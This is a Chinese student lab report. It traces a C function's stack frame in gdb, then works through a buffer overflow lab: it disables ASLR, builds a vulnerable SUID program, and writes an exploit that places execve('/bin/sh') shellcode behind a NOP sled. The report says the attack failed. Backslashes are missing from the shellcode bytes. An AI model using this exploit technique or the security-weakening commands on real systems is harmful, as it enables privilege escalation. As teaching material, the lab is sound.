T4
-
题目
- 通过输入gcc -S -o main.s main.c 将下面c程序”week0603学号.c“编译成汇编代码
int g(int x){ return x+3; } int f(int x){ int i = 学号后两位; return g(x)+i; } int main(void){ return f(8)+1; }
- 删除汇编代码中 . 开关的代码,提交f 函数的汇编代码截图,图中用矩形标出函数栈帧的形成和销毁的代码
-
相关知识
- C语言调用机制使用了栈数据结构提供的后进先出的内存管理原则
- 当前正在执行的过程的帧总是在栈顶
-
解答
T5
-
题目
- 通过输入gcc -S -o main.s main.c
将下面c程序”week0603学号.c“编译成汇编代码 int g(int x){ return x+3; } int f(int x){ int i = 学号后两位; return g(x)+i; } int main(void){ return f(8)+1; }
- 参考http://www.cnblogs.com/lxm20145215----/p/5982554.html,使用gdb跟踪汇编代码,在纸上画出f中每一条语句引起的eip(rip),ebp(rbp),esp(rsb),eax(rax)的值和栈的变化情况
-
相关知识
- 在64位机器上产生32位汇编
gcc -g example.c -o example -m32
gdb example
进入gdb调试器b linenumber
设置断点run
运行disassemble
获取汇编代码- 用
i(nfo) r(egisters)
查看各寄存器的值 - 用x查看内存地址中的值
- 在64位机器上产生32位汇编
-
步骤
gcc -g week0604_20155212.c -o week0604_20155212 -m32
编译程序gdb week0604_20155212
进入gdb模式- 设置断点在main函数调用f函数的位置
gdb> b 10
gdb> run
运行gdb> disassemble
反汇编display /i $pc
i r
x
查看内存中的内容si
执行下一条汇编
-
结果
汇编指令 | eip | ebp | esp | eax | 栈 |
---|---|---|---|---|---|
push %ebp | 0x80483e6 | 0xffffceb8 | 0xffffceb0 | 0xf7fb2dbc | 0x8048411 0x8 0x0 |
mov %esp,%ebp | 0x80483e7 | 0xffffceb8 | 0xffffceac | 0xf7fb2dbc | 0xffffceb8 0x8048411 0x8 0x0 |
sub $0x10,%esp | 0x80483e9 | 0xffffceac | 0xffffceac | 0xf7fb2dbc | 0xffffceb8 0x8048411 0x8 0x0 |
movl $0xc,-0x4(%ebp) | 0x80483ec | 0xffffceac | 0xffffce9c | 0xf7fb2dbc | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
pushl 0x8(%ebp) | 0x80483f3 | 0xffffceac | 0xffffce9c | 0xf7fb2dbc | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
call 0x80483db |
0x80483f6 | 0xffffceac | 0xffffce98 | 0xf7fb2dbc | 0x8 0x0 |
add $0x4,%esp | 0x80483fe | 0xffffceac | 0xffffce9c | 0xb 11 | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
mov %eax,%edx | 0x8048400 | 0xffffceac | 0xffffce9c | 0xb 11 | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
mov -0x4(%ebp),%eax | 0x8048403 | 0xffffceac | 0xffffce9c | 0xb 12 | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
add %edx,%eax | 0x8048405 | 0xffffceac | 0xffffce9c | 0x17 23 | 0x8048441 0xffffce98 0x8048411 0x8 0x0 |
leave | 0x8048406 | 0xffffceb8 | 0xffffceb0 | 0x17 23 | 0x8048411 0x8 0x0 |
ret | 0x8048414 | 0xffffceb8 | 0xffffceb8 | 0x17 23 | 0x0 |
缓冲区溢出漏洞实验
实验介绍
- 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。缓冲区溢出漏洞实验
实验准备
- 输入命令安装一些用于编译32位C程序的东西
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
- 输入命令“linux32”进入32位linux环境,输入"/bin/bash"
实验步骤
-
初始化设置
- 使用
sudo sysctl -w kernel.randomize_va_space=0
关闭使用地址空间随机化来随机堆和栈的初始地址 - 使用zsh代替/bin/bash
sudo su cd /bin rm sh ln -s zsh sh exit
- 使用
-
shellcode
-
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
-
代码
#include <stdio.h> int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); }
-
汇编代码
x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
-
-
漏洞程序
-
把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly "); return 1; }
-
编译该程序,并设置SET-UID
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
-
-
攻击程序
-
把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "x31xc0" //xorl %eax,%eax "x50" //pushl %eax "x68""//sh" //pushl $0x68732f2f "x68""/bin" //pushl $0x6e69622f "x89xe3" //movl %esp,%ebx "x50" //pushl %eax "x53" //pushl %ebx "x89xe1" //movl %esp,%ecx "x99" //cdq "xb0x0b" //movb $0x0b,%al "xcdx80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
-
要得到shellcode在内存中的地址,输入命令
gdb stack disass main
-
运行结果
-
现在修改exploit.c文件!将 x??x??x??x?? 修改为 x14xd2xffxff,然后,编译exploit.c程序:
gcc -m32 -o exploit exploit.c
-
攻击结果
- 如果不能攻击成功,提示”段错误“,那么请重新使用gdb反汇编,计算内存地址。
- 再次重复,发现还是没有成功。
-